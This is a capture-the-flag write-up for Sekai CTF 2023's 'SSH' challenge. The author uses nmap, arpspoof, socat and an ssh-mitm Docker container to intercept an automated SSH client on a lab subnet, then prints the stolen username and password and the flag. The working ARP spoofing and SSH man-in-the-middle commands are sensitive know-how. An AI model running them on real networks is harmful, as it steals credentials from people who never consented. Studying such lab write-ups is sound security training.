# Sekai CTF 2023 - SSH [18 solves / 468 points]
### Description```Jackal got tired of typing yes at every SSH prompt, clearing his known_hosts file each time the remote host's identification changes, etc., so he decided enough is enough, especially that he runs a lot of automated scripts that make use of SSH.
One day, you find yourself in the same network as Jackal and his juicy SSH server, your curiosity gets the better of you and you decide to wear your black hat once again.
You are free to do any port scans/network attacks on the 10.0.0.0/29 subnet. Your goal is to gain access to Jackal's SSH server and uncover its secrets.
Author: hfz```
After connecting to the network with the ovpn file, we can just scan the network, and we will found 3 machines (10.0.0.1, 10.0.0.2 and 10.0.0.4), and our machine is 10.0.0.3
```Nmap scan report for 10.0.0.1Host is up (0.32s latency).Not shown: 60987 closed ports, 4547 filtered portsPORT     STATE SERVICE VERSION1337/tcp open  waste?MAC Address: 8A:D9:F7:4B:67:09 (Unknown)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.91%E=4%D=8/27%OT=1337%CT=2%CU=38438%PV=Y%DS=1%DC=D%G=Y%M=8AD9F7OS:%TM=64EB415D%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%TSOS:=A)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M52BST11NW7%O2=M5OS:2BST11NW7%O3=M52BNNT11NW7%O4=M52BST11NW7%O5=M52BST11NW7%O6=M52BST11)WIN(OS:W1=A9B0%W2=A9B0%W3=A9B0%W4=A9B0%W5=A9B0%W6=A9B0)ECN(R=Y%DF=Y%T=40%W=A564OS:%O=M52BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(ROS:=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%OS:DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPOS:L=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTEHOP RTT       ADDRESS1   318.66 ms 10.0.0.1
Nmap scan report for 10.0.0.2Host is up (0.29s latency).All 65535 scanned ports on 10.0.0.2 are closed (58207) or filtered (7328)Too many fingerprints match this host to give specific OS detailsNetwork Distance: 2 hops
TRACEROUTE (using port 1720/tcp)HOP RTT       ADDRESS1   207.69 ms 10.0.0.12   414.70 ms 10.0.0.2
Nmap scan report for 10.0.0.4Host is up (0.33s latency).Not shown: 59399 closed ports, 6135 filtered portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.3 (protocol 2.0)| ssh-hostkey: |   256 17:77:2c:dc:f3:24:7d:fd:00:b4:43:a7:06:26:7d:be (ECDSA)|_  256 7d:1b:0a:e1:0f:c1:32:e8:38:bc:08:a3:d3:57:8b:0c (ED25519)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.91%E=4%D=8/27%OT=22%CT=1%CU=30188%PV=Y%DS=2%DC=T%G=Y%TM=64EB427OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10F%TI=Z%CI=Z%TS=A)SEQ(SP=10OS:2%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M52BST11NW7%O2=M52BST11NW7%O3OS:=M52BNNT11NW7%O4=M52BST11NW7%O5=M52BST11NW7%O6=M52BST11)WIN(W1=A9B0%W2=AOS:9B0%W3=A9B0%W4=A9B0%W5=A9B0%W6=A9B0)ECN(R=Y%DF=Y%T=41%W=A564%O=M52BNNSNWOS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=41%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DFOS:=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=OS:%RD=0%Q=)T6(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=41%W=OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=41%IPL=164%UN=0%RIPL=G%RID=G%RIOS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=41%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 1720/tcp)HOP RTT       ADDRESS-   Hop 1 is the same as for 10.0.0.22   414.50 ms 10.0.0.4```
10.0.0.1 has port 1337 opened, but I have no idea what it is, 10.0.0.2 has no port opened and 10.0.0.4 has port 22 (SSH) opened
As the description said we are free to do any network attacks, I think this challenge might be similar to the Shell Boi challenge in InCTF 2021 : https://ctftime.org/writeup/29823
So I just try to do arp spoofing to see if there's any traffic between those 3 machines, and when I try to spoof as 10.0.0.4 I discover that 10.0.0.2 is trying to connect to my machine
```echo 1 > /proc/sys/net/ipv4/ip_forwardarpspoof -i tap0 10.0.0.4```
![](https://i.imgur.com/Gi04vR4.png)
Then I just do arp spoofing to 10.0.0.2 and set the ip address of my interface as 10.0.0.4
```arpspoof -i tap0 -t 10.0.0.2 10.0.0.4ifconfig tap0 10.0.0.4 netmask 255.255.255.248```
Then I try to listen on port 22 :
```# nc -nlvp 22listening on [any] 22 ...connect to [10.0.0.4] from (UNKNOWN) [10.0.0.2] 48394SSH-2.0-OpenSSH_9.3```
Looks like 10.0.0.2 is trying to connect to 10.0.0.4 through SSH
So, maybe we can try to do a MITM attack to steal the SSH creds of 10.0.0.2 when it tries to login, as the description said it will clear the known_hosts each time
I found this : https://github.com/jtesta/ssh-mitm
So just run it in docker :
```docker pull positronsecurity/ssh-mitmmkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm```
It will be listening on port 2222, we can just use socat to redirect traffic from port 22 to port 2222 :
```socat tcp-listen:22,reuseaddr,fork tcp:127.0.0.1:222```
When it tries to login to our machine through SSH, we will see it's SSH creds to 10.0.0.4 :
```# cat sftp_session_1.html <html>Time: 2023-08-27 14:24:33 GMTServer: 127.0.0.1:2222Client: 127.0.0.1:58648Username: jackalPassword: g8uigEpVuhO9mg7zCommand: :-------------------------```
Then just stop the arp spoofing and change the ip address of the interface back to 10.0.0.3 :
```ifconfig tap0 10.0.0.3 netmask 255.255.255.248```
and login to 10.0.0.4 through SSH with the stolen creds :
```# ssh [email protected]The authenticity of host '10.0.0.4 (10.0.0.4)' can't be established.ECDSA key fingerprint is SHA256:Go31pDKyaoFMjb8V3LL4HWt5Lqp2l3i8VtLTGXCfupE.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.0.0.4' (ECDSA) to the list of known hosts.[email protected]'s password: Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and generalinformation about administrating Alpine systems.See <https://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
sshserver:~$ ls -latotal 20drwxr-sr-x    1 jackal   jackal        4096 Aug 27 14:27 .drwxr-xr-x    1 root     root          4096 Aug 26 05:55 ..-rw-------    1 jackal   jackal           7 Aug 27 14:27 .ash_history-rw-r--r--    1 root     root            67 Aug 26 05:54 flag.txtsshserver:~$ cat flag.txt SEKAI{https://linux.livejournal.com/1884229.html_4540941f3ea0a6cd}```